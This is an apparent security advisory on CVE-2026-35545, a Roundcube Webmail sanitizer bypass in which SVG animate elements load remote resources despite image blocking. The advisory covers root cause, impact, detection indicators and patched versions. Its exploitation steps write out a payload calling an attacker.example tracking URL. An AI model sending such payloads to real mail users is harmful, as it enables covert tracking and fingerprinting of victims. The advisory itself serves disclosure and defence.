CVE-2026-35545: 
PHP vulnerability analysis and mitigation

CVE-2026-35545 is a security bypass vulnerability in Roundcube Webmail, formally described as an "SVG Animate FUNCIRI Attribute Bypass — Remote Image Loading via fill/filter/stroke." It affects Roundcube Webmail versions before 1.5.15 and versions 1.6.0 through 1.6.14. The vulnerability was reported by researcher class_nzm and patched on March 29, 2026, with public disclosure on April 3, 2026. It carries a CVSS v3.1 base score of 8.2 (High) per NVD (GitHub Advisory, Roundcube Release).

The root cause lies in an incomplete blocklist in Roundcube's HTML sanitizer (rcube_washtml.php), classified as CWE-669 (Incorrect Resource Transfer Between Spheres) and CWE-79 (Cross-site Scripting). The is_insecure_tag() function previously only blocked SVG <animate> elements with attributeName values of mask or cursor, failing to account for fill, filter, stroke, clip-path, marker-start, marker-end, and marker-mid. An attacker can embed a malicious SVG in an email body containing an <animate> element with one of these unblocked attributeName values and a values attribute referencing an external URL via url() (a FUNCIRI reference), causing the browser to load a remote resource even when the user has remote image blocking enabled. The fix expands the regex to include all bypassed attribute names (Commit 7ad62de, Commit 9d18d52).

Successful exploitation allows an unauthenticated remote attacker to bypass Roundcube's remote image blocking feature, causing a victim's browser to silently load attacker-controlled external resources when viewing a crafted email. This enables information disclosure — such as IP address harvesting, read-receipt tracking, and user fingerprinting via tracking pixels — as well as potential access-control bypass. There is no availability impact, but confidentiality is significantly affected and integrity is marginally impacted (GitHub Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability requires no authentication and no user interaction beyond a victim opening or previewing a malicious email, making it trivially deliverable via phishing. The EPSS score is approximately 0.034% (low probability of near-term exploitation). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

1. Craft malicious email: Compose an email containing an inline SVG element with an <animate> tag using attributeName=fill (or filter or stroke) and a values attribute referencing an attacker-controlled external URL using FUNCIRI syntax, e.g., <animate attributeName="fill" values="url(https://attacker.example/track.png)" dur="1s" />.
2. Embed SVG in email body: Include the SVG directly in the HTML body of the email so it is rendered by Roundcube's webmail interface when the recipient views the message.
3. Send to target: Deliver the email to a Roundcube user on a vulnerable instance (before 1.5.15 or 1.6.0–1.6.14).
4. Victim opens email: When the recipient views the email in Roundcube, the sanitizer fails to strip the malicious <animate> element because the attributeName value (fill, filter, or stroke) was not in the original blocklist.
5. Remote resource loaded: The browser silently fetches the attacker-controlled URL, revealing the victim's IP address, browser fingerprint, and confirming email read status — bypassing the remote image blocking protection (Commit 7ad62de, GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the Roundcube server or user browsers to unexpected external domains triggered upon email viewing; requests to attacker-controlled tracking URLs containing FUNCIRI-style references.
• Logs: Roundcube mail rendering logs showing SVG content with <animate> elements containing attributeName values of fill, filter, or stroke paired with url() references in the values attribute.
• Email Content: Inbound emails containing inline SVG with <animate attributeName="fill|filter|stroke" values="url(...)" ...> patterns; these can be detected via email gateway content inspection rules targeting SVG animate elements with FUNCIRI values.

Roundcube has released patched versions addressing this vulnerability: 1.5.15 (for 1.5.x installations), 1.6.15 (for 1.6.x installations), and 1.7-rc6 (for those tracking the 1.7 release candidate). All production installations should be updated immediately, with a data backup taken beforehand. No configuration-based workaround is available; upgrading to a patched version is the only reliable remediation (Roundcube 1.5.15, Roundcube 1.6.15, Roundcube 1.7-rc6).

The vulnerability was reported by researcher class_nzm and acknowledged by the Roundcube maintainer Aleksander Machniak, who released patches across all supported branches on March 29, 2026. Debian and Mageia issued downstream security advisories, and Red Hat tracked the issue via Bugzilla. Community reception of the 1.6.15 release was positive, with 14 GitHub reactions on the release announcement (Roundcube 1.6.15, Red Hat Bugzilla).